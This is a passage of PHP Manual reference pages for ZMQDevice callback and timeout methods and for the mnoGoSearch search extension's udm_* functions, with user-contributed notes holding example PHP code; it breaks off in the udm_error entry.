public ZMQDevice ZMQDevice::getIdleTimeout ( void )

Gets the idle callback timeout value. Added in ZMQ extension version 1.1.0.

Return Values

This method returns the idle callback timeout value.

User Contributed Notes

There are no user contributed notes for this page.


Get the timer timeout

  • « ZMQDevice::getIdleTimeout
  • ZMQDevice::run »
  • PHP Manual
  • ZMQDevice
  • Get the timer timeout

ZMQDevice::getTimerTimeout

(No version information available, might only be in Git)

ZMQDevice::getTimerTimeout — Get the timer timeout

Description

public ZMQDevice ZMQDevice::getTimerTimeout ( void )

Gets the timer callback timeout value. Added in ZMQ extension version 1.1.0.

Return Values

This method returns the timer timeout value.

User Contributed Notes

There are no user contributed notes for this page.


Run the new device

  • « ZMQDevice::getTimerTimeout
  • ZMQDevice::setIdleCallback »
  • PHP Manual
  • ZMQDevice
  • Run the new device

ZMQDevice::run

(No version information available, might only be in Git)

ZMQDevice::run — Run the new device

Description

public void ZMQDevice::run ( void )

Runs the device.

Parameters

This function has no parameters.

Return Values

Call to this method will block until the device is running. It is not recommended that devices are used from interactive scripts. On failure this method will throw ZMQDeviceException.

User Contributed Notes

There are no user contributed notes for this page.


Set the idle callback function

  • « ZMQDevice::run
  • ZMQDevice::setIdleTimeout »
  • PHP Manual
  • ZMQDevice
  • Set the idle callback function

ZMQDevice::setIdleCallback

(No version information available, might only be in Git)

ZMQDevice::setIdleCallback — Set the idle callback function

Description

public ZMQDevice ZMQDevice::setIdleCallback ( callable $cb_func , integer $timeout [, mixed $user_data ] )

Sets the idle callback function. If idle timeout is defined the idle callback function shall be called if the internal poll loop times out without events. If the callback function returns false or a value that evaluates to false the device is stopped. The callback function signature is callback (mixed $user_data).

Parameters

cb_func

Callback function to invoke when the device is idle. Returning false or a value that evaluates to false from this function will cause the device to stop.

timeout

How often to invoke the idle callback in milliseconds. The idle callback is invoked periodically when there is no activity on the device. The timeout value guarantees that there is at least this amount of milliseconds between invocations of the callback function.

user_data

Additional data to pass to the callback function.

Return Values

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Set the idle timeout

  • « ZMQDevice::setIdleCallback
  • ZMQDevice::setTimerCallback »
  • PHP Manual
  • ZMQDevice
  • Set the idle timeout

ZMQDevice::setIdleTimeout

(No version information available, might only be in Git)

ZMQDevice::setIdleTimeout — Set the idle timeout

Description

public ZMQDevice ZMQDevice::setIdleTimeout ( integer $timeout )

Sets the idle callback timeout value. The idle callback is invoked periodically when the device is idle.

Parameters

timeout

The idle callback timeout value.

Return Values

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Set the timer callback function

  • « ZMQDevice::setIdleTimeout
  • ZMQDevice::setTimerTimeout »
  • PHP Manual
  • ZMQDevice
  • Set the timer callback function

ZMQDevice::setTimerCallback

(No version information available, might only be in Git)

ZMQDevice::setTimerCallback — Set the timer callback function

Description

public ZMQDevice ZMQDevice::setTimerCallback ( callable $cb_func , integer $timeout [, mixed $user_data ] )

Sets the timer callback function. The timer callback will be invoked after timeout has passed. The difference between idle and timer callbacks are that idle callback is invoked only when the device is idle. The callback function signature is callback (mixed $user_data). Added in ZMQ extension version 1.1.0.

Parameters

cb_func

Callback function to invoke when the device is idle. Returning false or a value that evaluates to false from this function will cause the device to stop.

timeout

How often to invoke the idle callback in milliseconds. The idle callback is invoked periodically when there is no activity on the device. The timeout value guarantees that there is at least this amount of milliseconds between invocations of the callback function.

user_data

Additional data to pass to the callback function.

Return Values

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Set the timer timeout

  • « ZMQDevice::setTimerCallback
  • Search Engine Extensions »
  • PHP Manual
  • ZMQDevice
  • Set the timer timeout

ZMQDevice::setTimerTimeout

(No version information available, might only be in Git)

ZMQDevice::setTimerTimeout — Set the timer timeout

Description

public ZMQDevice ZMQDevice::setTimerTimeout ( integer $timeout )

Sets the timer callback timeout value. The timer callback is invoked periodically if it's set. Added in ZMQ extension version 1.1.0.

Parameters

timeout

The timer callback timeout value.

Return Values

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Search Engine Extensions

  • mnoGoSearch
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • mnoGoSearch Functions
  • Solr — Apache Solr
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Solr Functions
    • Examples
    • SolrUtils — The SolrUtils class
    • SolrInputDocument — The SolrInputDocument class
    • SolrDocument — The SolrDocument class
    • SolrDocumentField — The SolrDocumentField class
    • SolrObject — The SolrObject class
    • SolrClient — The SolrClient class
    • SolrResponse — The SolrResponse class
    • SolrQueryResponse — The SolrQueryResponse class
    • SolrUpdateResponse — The SolrUpdateResponse class
    • SolrPingResponse — The SolrPingResponse class
    • SolrGenericResponse — The SolrGenericResponse class
    • SolrParams — The SolrParams class
    • SolrModifiableParams — The SolrModifiableParams class
    • SolrQuery — The SolrQuery class
    • SolrException — The SolrException class
    • SolrClientException — The SolrClientException class
    • SolrServerException — The SolrServerException class
    • SolrIllegalArgumentException — The SolrIllegalArgumentException class
    • SolrIllegalOperationException — The SolrIllegalOperationException class
  • Sphinx — Sphinx Client
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • SphinxClient — The SphinxClient class
  • Swish — Swish Indexing
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Swish Functions

User Contributed Notes

There are no user contributed notes for this page.


mnoGoSearch

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • mnoGoSearch Functions
    • udm_add_search_limit — Add various search limits
    • udm_alloc_agent_array — Allocate mnoGoSearch session
    • udm_alloc_agent — Allocate mnoGoSearch session
    • udm_api_version — Get mnoGoSearch API version
    • udm_cat_list — Get all the categories on the same level with the current one
    • udm_cat_path — Get the path to the current category
    • udm_check_charset — Check if the given charset is known to mnogosearch
    • udm_clear_search_limits — Clear all mnoGoSearch search restrictions
    • udm_crc32 — Return CRC32 checksum of given string
    • udm_errno — Get mnoGoSearch error number
    • udm_error — Get mnoGoSearch error message
    • udm_find — Perform search
    • udm_free_agent — Free mnoGoSearch session
    • udm_free_ispell_data — Free memory allocated for ispell data
    • udm_free_res — Free mnoGoSearch result
    • udm_get_doc_count — Get total number of documents in database
    • udm_get_res_field — Fetch a result field
    • udm_get_res_param — Get mnoGoSearch result parameters
    • udm_hash32 — Return Hash32 checksum of gived string
    • udm_load_ispell_data — Load ispell data
    • udm_set_agent_param — Set mnoGoSearch agent session parameters

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions allow you to access the mnoGoSearch (former UdmSearch) free search engine. mnoGoSearch is a full-featured search engine software for intranet and internet servers, distributed under the GNU license. mnoGoSearch has a number of unique features, which makes it appropriate for a wide range of applications from search within your site to a specialized search system such as cooking recipes or newspaper search, FTP archive search, news articles search, etc. It offers full-text indexing and searching for HTML, PDF, and text documents. mnoGoSearch consists of two parts. The first is an indexing mechanism (indexer). The purpose of the indexer is to walk through HTTP, FTP, NEWS servers or local files, recursively grabbing all the documents and storing meta-data about that documents in an SQL database in a smart and effective manner. After every document is referenced by its corresponding URL, meta-data is collected by the indexer for later use in a search process. The search is performed via Web interface. C, CGI, PHP and Perl search front ends are included.

More information about mnoGoSearch can be found at » http://www.mnogosearch.org/.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Download mnoGosearch from » http://www.mnogosearch.org/ and install it on your system. You need at least version 3.1.10 of mnoGoSearch installed to use these functions.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mnogosearch.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Note:

PHP contains built-in MySQL access library, which can be used to access MySQL. It is known that mnoGoSearch is not compatible with this built-in library and can work only with generic MySQL libraries. Thus, if you use mnoGoSearch with MySQL, during PHP configuration you have to indicate the directory of your MySQL installation, that was used during mnoGoSearch configuration, i.e. for example: --with-mnogosearch --with-mysql=/usr .

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

UDM_FIELD_URLID (integer)
UDM_FIELD_URL (integer)
UDM_FIELD_CONTENT (integer)
UDM_FIELD_TITLE (integer)
UDM_FIELD_KEYWORDS (integer)
UDM_FIELD_DESC (integer)
UDM_FIELD_DESCRIPTION (integer)
UDM_FIELD_TEXT (integer)
UDM_FIELD_SIZE (integer)
UDM_FIELD_RATING (integer)
UDM_FIELD_SCORE (integer)
UDM_FIELD_MODIFIED (integer)
UDM_FIELD_ORDER (integer)
UDM_FIELD_CRC (integer)
UDM_FIELD_CATEGORY (integer)
UDM_FIELD_LANG (integer)
UDM_FIELD_CHARSET (integer)
UDM_PARAM_PAGE_SIZE (integer)
UDM_PARAM_PAGE_NUM (integer)
UDM_PARAM_SEARCH_MODE (integer)
UDM_PARAM_CACHE_MODE (integer)
UDM_PARAM_TRACK_MODE (integer)
UDM_PARAM_PHRASE_MODE (integer)
UDM_PARAM_CHARSET (integer)
UDM_PARAM_LOCAL_CHARSET (integer)
UDM_PARAM_BROWSER_CHARSET (integer)
UDM_PARAM_STOPTABLE (integer)
UDM_PARAM_STOP_TABLE (integer)
UDM_PARAM_STOPFILE (integer)
UDM_PARAM_STOP_FILE (integer)
UDM_PARAM_WEIGHT_FACTOR (integer)
UDM_PARAM_WORD_MATCH (integer)
UDM_PARAM_MAX_WORD_LEN (integer)
UDM_PARAM_MAX_WORDLEN (integer)
UDM_PARAM_MIN_WORD_LEN (integer)
UDM_PARAM_MIN_WORDLEN (integer)
UDM_PARAM_ISPELL_PREFIXES (integer)
UDM_PARAM_ISPELL_PREFIX (integer)
UDM_PARAM_PREFIXES (integer)
UDM_PARAM_PREFIX (integer)
UDM_PARAM_CROSS_WORDS (integer)
UDM_PARAM_CROSSWORDS (integer)
UDM_PARAM_VARDIR (integer)
UDM_PARAM_DATADIR (integer)
UDM_PARAM_HLBEG (integer)
UDM_PARAM_HLEND (integer)
UDM_PARAM_SYNONYM (integer)
UDM_PARAM_SEARCHD (integer)
UDM_PARAM_QSTRING (integer)
UDM_PARAM_REMOTE_ADDR (integer)
UDM_LIMIT_CAT (integer)
UDM_LIMIT_URL (integer)
UDM_LIMIT_TAG (integer)
UDM_LIMIT_LANG (integer)
UDM_LIMIT_DATE (integer)
UDM_PARAM_FOUND (integer)
UDM_PARAM_NUM_ROWS (integer)
UDM_PARAM_WORDINFO (integer)
UDM_PARAM_WORD_INFO (integer)
UDM_PARAM_SEARCHTIME (integer)
UDM_PARAM_SEARCH_TIME (integer)
UDM_PARAM_FIRST_DOC (integer)
UDM_PARAM_LAST_DOC (integer)
UDM_MODE_ALL (integer)
UDM_MODE_ANY (integer)
UDM_MODE_BOOL (integer)
UDM_MODE_PHRASE (integer)
UDM_CACHE_ENABLED (integer)
UDM_CACHE_DISABLED (integer)
UDM_TRACK_ENABLED (integer)
UDM_TRACK_DISABLED (integer)
UDM_PHRASE_ENABLED (integer)
UDM_PHRASE_DISABLED (integer)
UDM_CROSS_WORDS_ENABLED (integer)
UDM_CROSSWORDS_ENABLED (integer)
UDM_CROSS_WORDS_DISABLED (integer)
UDM_CROSSWORDS_DISABLED (integer)
UDM_PREFIXES_ENABLED (integer)
UDM_PREFIX_ENABLED (integer)
UDM_ISPELL_PREFIXES_ENABLED (integer)
UDM_ISPELL_PREFIX_ENABLED (integer)
UDM_PREFIXES_DISABLED (integer)
UDM_PREFIX_DISABLED (integer)
UDM_ISPELL_PREFIXES_DISABLED (integer)
UDM_ISPELL_PREFIX_DISABLED (integer)
UDM_ISPELL_TYPE_AFFIX (integer)
UDM_ISPELL_TYPE_SPELL (integer)
UDM_ISPELL_TYPE_DB (integer)
UDM_ISPELL_TYPE_SERVER (integer)
UDM_MATCH_WORD (integer)
UDM_MATCH_BEGIN (integer)
UDM_MATCH_SUBSTR (integer)
UDM_MATCH_END (integer)

User Contributed Notes

There are no user contributed notes for this page.


mnoGoSearch Functions

Table of Contents

  • udm_add_search_limit — Add various search limits
  • udm_alloc_agent_array — Allocate mnoGoSearch session
  • udm_alloc_agent — Allocate mnoGoSearch session
  • udm_api_version — Get mnoGoSearch API version
  • udm_cat_list — Get all the categories on the same level with the current one
  • udm_cat_path — Get the path to the current category
  • udm_check_charset — Check if the given charset is known to mnogosearch
  • udm_clear_search_limits — Clear all mnoGoSearch search restrictions
  • udm_crc32 — Return CRC32 checksum of given string
  • udm_errno — Get mnoGoSearch error number
  • udm_error — Get mnoGoSearch error message
  • udm_find — Perform search
  • udm_free_agent — Free mnoGoSearch session
  • udm_free_ispell_data — Free memory allocated for ispell data
  • udm_free_res — Free mnoGoSearch result
  • udm_get_doc_count — Get total number of documents in database
  • udm_get_res_field — Fetch a result field
  • udm_get_res_param — Get mnoGoSearch result parameters
  • udm_hash32 — Return Hash32 checksum of gived string
  • udm_load_ispell_data — Load ispell data
  • udm_set_agent_param — Set mnoGoSearch agent session parameters

User Contributed Notes

mikko at sorl dot net 15-Oct-2006 01:46
Well since the function udm_get_res_param used with UDM_PARAM_NUM_ROWS does infact not get the number of rows on the current page, it can actualy find more rows than specified by UDM_PARAM_PAGE_SIZE, ??? well i had to rewrite the some stuff I also added highlightning since the parameter  UDM_PARAM_HLBEG nor UDM_PARAM_HLEND doesnt seem to work, alot of things here are fairly undocumented, I also found out after reading the Search_Mnogosearch pear class that replacing "\2" and "\3" in the text with HLBEG and HLEND works. well here is the class rewritten (without fetch, just find):

<?php

class MnogoSearch
{
    public    $matches = NULL;
    public    $total   = NULL;
    public    $hilites = array('title', 'text');
    public    $hlbeg   = '<span class="hilite">';
    public    $hlend   = '</span>';

    protected $agent   = NULL;
    protected $res     = NULL;

    public function __construct() {

        $this->agent = udm_alloc_agent('mysql://user:pass@localhost/mnogosearch/');

        $this->set(UDM_PARAM_SEARCH_MODE, UDM_MODE_ALL);
        $this->set(UDM_PARAM_CHARSET, 'iso-8859-1');
        $this->set(UDM_PARAM_BROWSER_CHARSET, 'iso-8859-1');
        $this->set(UDM_PARAM_WORD_MATCH, UDM_MATCH_SUBSTR);

    }

    private function hiLite($t) {
        if ($t == '')
            return '';
        $t = str_replace("\2", $this->hlbeg, $t);
        $t = str_replace("\3", $this->hlend, $t);
        return $t;
    }

    public function set($k, $v) {
        udm_set_agent_param($this->agent, $k, $v);
    }

    public function find($q, $page=0, $rows=10) {

        if ($page < 0 || $rows <= 0) {
            $page = 0;
            $rows = 10;
        }

        $this->set(UDM_PARAM_PAGE_SIZE, $rows);
        $this->set(UDM_PARAM_PAGE_NUM, $page);

        $this->res = udm_find($this->agent, $q);
        $this->total = udm_get_res_param($this->res, UDM_PARAM_FOUND);

        $found = udm_get_res_param($this->res, UDM_PARAM_NUM_ROWS);

        if($found) {
            $b = udm_get_res_param($this->res, UDM_PARAM_FIRST_DOC);
            $e = udm_get_res_param($this->res, UDM_PARAM_LAST_DOC);
            $rows = $e - $b + 1;

            $fields = array('urlid', 'url', 'content', 'title', 'keywords', 'desc',
                            'text', 'size', 'rating', 'modified', 'order', 'crc', 'category',
                            'lang', 'charset', 'siteid', 'pop_rank', 'originid');

            for($i=0; $i<$rows; $i++){
                for($j=0; $j<count($fields); $j++) {
                    $this->matches[$i][$fields[$j]] = udm_get_res_field($this->res, $i, $j+1);
                }
                foreach($this->hilites as $hilite) {
                    $this->matches[$i][$hilite] = $this->hiLite($this->matches[$i][$hilite]);
                }

            }
            return $rows;

        } else {
            return FALSE;
        }
    }

    public function __destruct() {
        udm_free_agent($this->agent);
        if (isset($this->res)) {
            udm_free_res($this->res);
        }
    }
}

?>

Im thinking, maybe swish-e is better ? :)
bloodjazman at gmail dot com 22-Jun-2005 02:22
for win32 users, mnogosearch since version 3.2.x
support COM interface

for Reflection API of COM use Visual Studio .NET
-> Tools ..
-> OLE/COM object viewer
- > C:\Program Files\mnoGoSearch\searchcom.dll

simple code

<pre>
<?
define('MNOGOSEARCH_WIN32',
    (strtoupper(substr(PHP_OS,0,3))=='WIN') && extension_loaded('COM'));

if (!MNOGOSEARCH_WIN32)
 die('MnoGoSearch COM not loaded');

/** Create COM object */
$agent = new COM('MnoGoSearch.GoSearch')
                    or die('Can\'t create COM object MnoGoSearch.GoSearch');
com_load_typelib('MnoGoSearch.GoSearch');
//mysql://user:passwd@host:port/database/?mode=multi
$agent->DBAddr = $params['DBAddr'];
//buggy, not work
//$agent->DBMode = $params['DBMode'];
$agent->SetCharset($params['Charset']);
$agent->SetCacheMode(true);

$q = 'q='. $query .'&np='. $_REQUEST['page'] .'&ps='. $_REQUEST['pg_size'] .'&m='. $_REQUEST['match'];
$q .= '&wm='. $_REQUEST['word_match'] .'&ul='. $_REQUEST['url_match']. '&wf='. $_REQUEST['where_find'];
$q .= '&typ='. $_REQUEST['content_type'] .'&s='. $_REQUEST['sortby'].'';

//!!! EXECUTE SEARCH QUERY
$result = $agent->Find($q);

if ($agent->ErrorCode>0 || !$result->Valid)
   die('MnogoSearch win32 COM Error #'.$agent->ErrorCode.' - '.$agent->ErrorDescription);

$last=$result->LastDoc;
$first=$result->FirstDoc;
$hl_begin = '<span class="mnogosearch_hilight">';
$hl_end= '</span>';

$fetched_result=array();
$i=0;

for($row=$first;$row<=$last;$row++) {
    $i=$row-$first;
    $line = $result->Line($row);
    $fetched_result[$i] = array(
        'order'=>$line->Section('Order', $hl_begin, $hl_end),
        'url'=> $line->Section('URL', $hl_begin, $hl_end),
        'relevance'=>$line->Section('Score', $hl_begin, $hl_end),
        'pagerank'=> $line->Section('Pop_Rank', $hl_begin, $hl_end),
        'content_type'=> $line->Section('Content-Type', $hl_begin, $hl_end),
        'content_length'=> $line->Section('Content-Length', $hl_begin, $hl_end),
        'last_time'=> $line->Section('Last-Modified', $hl_begin, $hl_end),
        'title'=> $line->Section('title', $hl_begin, $hl_end),
        'body'=> $line->Section('body', $hl_begin, $hl_end),
        'metadesc'=> $line->Section('meta.description', $hl_begin, $hl_end),
        'metakeywords'=> $line->Section('meta.keywords', $hl_begin, $hl_end)
    );
}

var_dump($fetched_result);

echo '<br/>search time : '.$result->SearchSeconds;
echo '<br/>words stats :'.$result->WordInfo;

echo '<br/>pg_count: '.$result->NPages;
echo '<br/>total_rows: '. $result->Count;
echo '<br/>first_doc: '.$result->FirstDoc;
echo '<br/>last_doc: '.$result->LastDoc;
echo '<br/>rows_in_page: '.$result->RowsOnPage;

?>
</pre>
php-install at lists dot php dot net 25-Apr-2001 12:53
I have found that if you compile php with "--with-ftp and --with-mnogosearch=/dir" you must compile and build mnogosearch with "--disable-ftp" first. There are some naming conflicts between php's ftp libs and mno's ftp libs.

Hope this helps


Add various search limits

  • « mnoGoSearch Functions
  • udm_alloc_agent_array »
  • PHP Manual
  • mnoGoSearch Functions
  • Add various search limits

udm_add_search_limit

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_add_search_limit — Add various search limits

Description

bool udm_add_search_limit ( resource $agent , int $var , string $val )

udm_add_search_limit() adds search restrictions.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

var

Defines the parameter, indicating limits. Possible var values:

  • UDM_LIMIT_URL - defines document URL limitations to limit the search through subsection of the database. It supports SQL % and _ LIKE wildcards, where % matches any number of characters, even zero characters, and _ matches exactly one character. E.g. http://www.example.___/catalog may stand for http://www.example.com/catalog and http://www.example.net/catalog.
  • UDM_LIMIT_TAG - defines site TAG limitations. In indexer-conf you can assign specific TAGs to various sites and parts of a site. Tags in mnoGoSearch 3.1.x are lines, that may contain metasymbols % and _. Metasymbols allow searching among groups of tags. E.g. there are links with tags ABCD and ABCE, and search restriction is by ABC_ - the search will be made among both of the tags.
  • UDM_LIMIT_LANG - defines document language limitations.
  • UDM_LIMIT_CAT - defines document category limitations. Categories are similar to tag feature, but nested. So you can have one category inside another and so on. You have to use two characters for each level. Use a hex number going from 0-F or a 36 base number going from 0-Z. Therefore a top-level category like 'Auto' would be 01. If it has a subcategory like 'Ford', then it would be 01 (the parent category) and then 'Ford' which we will give 01. Put those together and you get 0101. If 'Auto' had another subcategory named 'VW', then it's id would be 01 because it belongs to the 'Ford' category and then 02 because it's the next category. So it's id would be 0102. If VW had a sub category called 'Engine' then it's id would start at 01 again and it would get the 'VW' id 02 and 'Auto' id of 01, making it 010201. If you want to search for sites under that category then you pass it cat=010201 in the URL.

  • UDM_LIMIT_DATE - defines limitation by date the document was modified.

    Format of parameter value: a string with first character < or >, then with no space - date in unixtime format, for example:

    <?php
    udm_add_search_limit    ($udm, UDM_LIMIT_DATE, "&lt;908012006");
    ?>

    If > character is used, then the search will be restricted to those documents having a modification date greater than entered, if <, then smaller.

val

Defines the value of the current parameter.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Allocate mnoGoSearch session

  • « udm_add_search_limit
  • udm_alloc_agent »
  • PHP Manual
  • mnoGoSearch Functions
  • Allocate mnoGoSearch session

udm_alloc_agent_array

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_alloc_agent_array — Allocate mnoGoSearch session

Description

resource udm_alloc_agent_array ( array $databases )

udm_alloc_agent_array() will create an agent with multiple database connections.

Parameters

databases

The array databases must contain one database URL per element, analog to the first parameter of udm_alloc_agent().

Return Values

Returns a resource link identifier on success or FALSE on failure.

See Also

  • udm_alloc_agent() - Allocate mnoGoSearch session

User Contributed Notes

There are no user contributed notes for this page.


Allocate mnoGoSearch session

  • « udm_alloc_agent_array
  • udm_api_version »
  • PHP Manual
  • mnoGoSearch Functions
  • Allocate mnoGoSearch session

udm_alloc_agent

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_alloc_agent — Allocate mnoGoSearch session

Description

resource udm_alloc_agent ( string $dbaddr [, string $dbmode ] )

Allocate a mnoGoSearch session.

Parameters

dbaddr

dbaddr - URL-style database description, with options (type, host, database name, port, user and password) to connect to SQL database. Do not matter for built-in text files support. Format for dbaddr: DBType:[//[DBUser[:DBPass]@]DBHost[:DBPort]]/DBName/. Currently supported DBType values are: mysql, pgsql, msql, solid, mssql, oracle, and ibase. Actually, it does not matter for native libraries support, but ODBC users should specify one of the supported values. If your database type is not supported, you may use unknown instead.

dbmode

dbmode - You may select the SQL database mode of words storage. Possible values of dbmode are: single, multi, crc, or crc-multi. When single is specified, all words are stored in the same table. If multi is selected, words will be located in different tables depending of their lengths. "multi" mode is usually faster, but requires more tables in the database. If "crc" mode is selected, mnoGoSearch will store 32 bit integer word IDs calculated by CRC32 algorithm instead of words. This mode requires less disk space and it is faster comparing with "single" and "multi" modes. crc-multi uses the same storage structure with the "crc" mode, but also stores words in different tables depending on words lengths like in "multi" mode.

Note:

dbaddr and dbmode must match those used during indexing.

Return Values

Returns a mnogosearch agent identifier on success, FALSE on failure. This function creates a session with database parameters.

Notes

Note:

In fact this function does not open a connection to the database and thus does not check the entered login and password. Establishing a connection to the database and login/password verification is done by udm_find().

User Contributed Notes

stuart at horuskol dot co dot uk 29-Feb-2008 05:28
The function appears to ignore the second parameter completely -
and the default mode is "blob", which is not even mentioned in this page.

In order to be able to select the right mode, do the following:

<?php

  $this->agent =
udm_alloc_agent("mysql://host/database/?DBMode=multi");

?>
cmv at php dot net 24-Sep-2001 08:56
For what it's worth, the following PHP code won't work:

<?  $U = udm_alloc_agent('mysql://localhost/example'); ?>

But this will:

<?  $U = udm_alloc_agent('mysql://localhost/example/'); ?>

That trailing slash is all-important.


Get mnoGoSearch API version

  • « udm_alloc_agent
  • udm_cat_list »
  • PHP Manual
  • mnoGoSearch Functions
  • Get mnoGoSearch API version

udm_api_version

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_api_version — Get mnoGoSearch API version

Description

int udm_api_version ( void )

Gets the mnoGoSearch API version.

This function allows the user to identify which API functions are available, e.g. udm_get_doc_count() function is only available in mnoGoSearch 3.1.11 or later.

Return Values

udm_api_version() returns the mnoGoSearch API version number. E.g. if mnoGoSearch 3.1.10 API is used, this function will return 30110.

Examples

Example #1 udm_api_version() example

<?php
if (udm_api_version() >= 30111) {
    echo  "Total number of URLs in database: " . udm_get_doc_count($udm) . "<br />\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Get all the categories on the same level with the current one

  • « udm_api_version
  • udm_cat_path »
  • PHP Manual
  • mnoGoSearch Functions
  • Get all the categories on the same level with the current one

udm_cat_list

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_cat_list — Get all the categories on the same level with the current one

Description

array udm_cat_list ( resource $agent , string $category )

Gets all the categories on the same level with the current one.

The function can be useful for developing categories tree browser.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

category

Return Values

Returns an array listing all categories of the same level as the current category in the categories tree.

The returned array consists of pairs. Elements with even index numbers contain the category paths, odd elements contain the corresponding category names.

$array[0] will contain '020300'
  $array[1] will contain 'Audi'
  $array[2] will contain '020301'
  $array[3] will contain 'BMW'
  $array[4] will contain '020302'
  $array[5] will contain 'Opel'
  ...
 etc.

Examples

Following is an example of displaying links of the current level in format:

Audi
  BMW
  Opel
  ...

Example #1 udm_cat_list()example

<?php
 $cat_list_arr = udm_cat_list($udm_agent, $cat);
 $cat_list = '';
 for ($i=0; $i<count($cat_list_arr); $i+=2) {
    $path = $cat_list_arr[$i];
    $name = $cat_list_arr[$i+1];
    $cat_list .= "<a href=\"$_SERVER[PHP_SELF]?cat=$path\">$name</a><br />";
 }
?>

See Also

  • udm_cat_path() - Get the path to the current category

User Contributed Notes

There are no user contributed notes for this page.


Get the path to the current category

  • « udm_cat_list
  • udm_check_charset »
  • PHP Manual
  • mnoGoSearch Functions
  • Get the path to the current category

udm_cat_path

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_cat_path — Get the path to the current category

Description

array udm_cat_path ( resource $agent , string $category )

Returns an array describing the path in the categories tree from the tree root to the current one, specified by category.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

category

Return Values

The returned array consists of pairs. Elements with even index numbers contain the category paths, odd elements contain the corresponding category names.

For example, the call $array=udm_cat_path($agent, '02031D'); may return the following array:

 $array[0] will contain ''
 $array[1] will contain 'Root'
 $array[2] will contain '02'
 $array[3] will contain 'Sport'
 $array[4] will contain '0203'
 $array[5] will contain 'Auto'
 $array[4] will contain '02031D'
 $array[5] will contain 'Ferrari'

Examples

Example #1 Specifying path to the current category in the following format: '> Root > Sport > Auto > Ferrari'

<?php
  $cat_path_arr = udm_cat_path($udm_agent, $cat);
  $cat_path = '';
  for ($i=0; $i<count($cat_path_arr); $i+=2) {
    $path = $cat_path_arr[$i];
    $name = $cat_path_arr[$i+1];
    $cat_path .= " > <a href=\"$_SERVER[PHP_SELF]?cat=$path\">$name</a> ";
  }
?>

See Also

  • udm_cat_list() - Get all the categories on the same level with the current one

User Contributed Notes

There are no user contributed notes for this page.


Check if the given charset is known to mnogosearch

  • « udm_cat_path
  • udm_clear_search_limits »
  • PHP Manual
  • mnoGoSearch Functions
  • Check if the given charset is known to mnogosearch

udm_check_charset

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_check_charset — Check if the given charset is known to mnogosearch

Description

bool udm_check_charset ( resource $agent , string $charset )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Clear all mnoGoSearch search restrictions

  • « udm_check_charset
  • udm_crc32 »
  • PHP Manual
  • mnoGoSearch Functions
  • Clear all mnoGoSearch search restrictions

udm_clear_search_limits

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_clear_search_limits — Clear all mnoGoSearch search restrictions

Description

bool udm_clear_search_limits ( resource $agent )

udm_clear_search_limits() resets defined search limitations.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

Return Values

Returns TRUE.

See Also

  • udm_add_search_limit() - Add various search limits

User Contributed Notes

There are no user contributed notes for this page.


Return CRC32 checksum of given string

  • « udm_clear_search_limits
  • udm_errno »
  • PHP Manual
  • mnoGoSearch Functions
  • Return CRC32 checksum of given string

udm_crc32

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_crc32 — Return CRC32 checksum of given string

Description

int udm_crc32 ( resource $agent , string $str )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Get mnoGoSearch error number

  • « udm_crc32
  • udm_error »
  • PHP Manual
  • mnoGoSearch Functions
  • Get mnoGoSearch error number

udm_errno

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_errno — Get mnoGoSearch error number

Description

int udm_errno ( resource $agent )

Receiving numeric agent error code.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

Return Values

Returns the mnoGoSearch error number, zero if no error.

User Contributed Notes

There are no user contributed notes for this page.


Get mnoGoSearch error message

  • « udm_errno
  • udm_find »
  • PHP Manual
  • mnoGoSearch Functions
  • Get mnoGoSearch error message

udm_error

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_error — Get mnoGoSearch error message

Description

string udm_error ( resource $agent )

Gets the agent error message.

Parameters

agent

